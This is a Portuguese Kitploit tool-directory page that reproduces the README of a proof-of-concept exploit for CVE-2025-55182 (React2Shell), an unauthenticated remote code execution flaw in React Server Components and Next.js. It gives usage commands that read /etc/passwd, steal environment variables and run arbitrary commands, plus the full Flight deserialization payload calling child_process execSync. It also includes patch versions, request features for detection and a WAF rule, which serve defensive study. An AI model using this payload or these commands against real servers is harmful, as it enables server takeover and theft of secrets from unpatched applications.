Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182 — Prova de conceito de exploit para CVE-2025-55182 (React2Shell), demonstrando execução remota de código não autenticada em React Server Components via desserialização do protocolo Flight. Inclui configuração de servidor vulnerável e scripts de detecção. | Kitploit
Ferramentas/GitHubGitHub/greenheadhq/cve-2025-55182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

Prova de conceito de exploit para CVE-2025-55182 (React2Shell), demonstrando execução remota de código não autenticada em React Server Components via desserialização do protocolo Flight. Inclui configuração de servidor vulnerável e scripts de detecção.

Ver Repositório
113há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente PoC CVE-2025-55182 (React2Shell)

Aviso: Este projeto deve ser usado apenas para fins de pesquisa e educação em segurança. Usá-lo em sistemas de terceiros sem permissão é ilegal.

Visão geral da vulnerabilidade

ItemDescrição
CVE IDCVE-2025-55182
ApelidoReact2Shell
Pontuação CVSS10.0 (Crítico - gravidade máxima)
Tipo de vulnerabilidadeUnauthenticated Remote Code Execution (RCE)
Descoberto porLachlan Davidson
Data de divulgação3 de dezembro de 2025

Versões afetadas

Pacotes React

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Estrutura do projeto

root@kitploit:~
CVE-2025-55182/
├── README.md                    # Este arquivo
├── vulnerable-server/           # Servidor Next.js vulnerável
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # PoC de ataque
│   ├── package.json
│   ├── poc.js                   # Script de ataque RCE
│   └── check-vulnerability.js   # Script de verificação de vulnerabilidade
└── React2Shell-CVE-2025-55182-original-poc/  # Referência ao PoC original

Início rápido

1. Configurar e executar o servidor vulnerável

root@kitploit:~
# Instalar dependências
cd vulnerable-server
npm install

# Executar servidor em modo de desenvolvimento (porta 3000)
npm run dev

O servidor será executado em http://localhost:3000.

2. Executar o PoC de ataque

Em um novo terminal:

root@kitploit:~
# Instalar dependências
cd exploit
npm install

# Verificar vulnerabilidade
npm run check

# Executar PoC (modo de teste)
npm run exploit

Uso do PoC de ataque

Teste básico (console.log)

root@kitploit:~
node poc.js -m test

Executar calculadora (prova clássica de RCE)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Executar comando do sistema (RCE)

root@kitploit:~
# Executar comando id
node poc.js -t http://localhost:3000 -m rce -c "id"

# Ler arquivo
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# Informações do sistema
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Roubo de variáveis de ambiente

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

Execução de código personalizado

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Análise técnica

Causa raiz da vulnerabilidade

Ocorre quando o protocolo Flight do React Server Components desserializa dados enviados pelo cliente.

root@kitploit:~
A função requireModule confia nos nomes de propriedades enviados pelo cliente sem validação
→ Ao executar moduleExports[metadata[NAME]], não há verificação hasOwnProperty
→ Possível manipulação da cadeia de protótipos (Server-Side Prototype Pollution)
→ Obtenção do construtor Function → RCE

Cadeia de ataque

  1. $@x aciona desserialização - Obtém referência ao objeto Chunk
  2. Abuso de encadeamento de Promises - Injeta objeto thenable com método .then
  3. Reentrada no parser com objeto Chunk falso - Define status: resolved_model
  4. Construção da cadeia de gadgets - Utiliza _response, _formData, etc.
  5. Obtenção do construtor Function - $1:constructor:constructor
  6. Execução de código arbitrário - Executa new Function(código malicioso)

Estrutura do payload

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Como corrigir

Atualizar Next.js

root@kitploit:~
# Usuários da versão 15.0.x
npm install [email protected]

# Usuários da versão 15.1.x
npm install [email protected]

# Usuários da versão 15.2.x
npm install [email protected]

Atualizar pacotes React

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

Métodos de detecção

Características da requisição HTTP

  • Requisição POST
  • Presença do cabeçalho Next-Action
  • Formato multipart/form-data
  • Padrões como $@, resolved_model, constructor no corpo

Exemplo de regra WAF

root@kitploit:~
# Detectar payload Flight suspeito
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

Referências

  • Blog oficial do React
  • PoC original (Lachlan Davidson)
  • Análise do Datadog Security Labs
  • Análise da Wiz

Licença

Este projeto é fornecido apenas para fins educacionais e de pesquisa. O uso para fins maliciosos é proibido.


Atenção: Se você encontrar esta vulnerabilidade em um ambiente real, aplique o patch imediatamente. Se um ataque for confirmado, reporte à equipe de segurança e realize uma investigação de violação.

Baixar ferramenta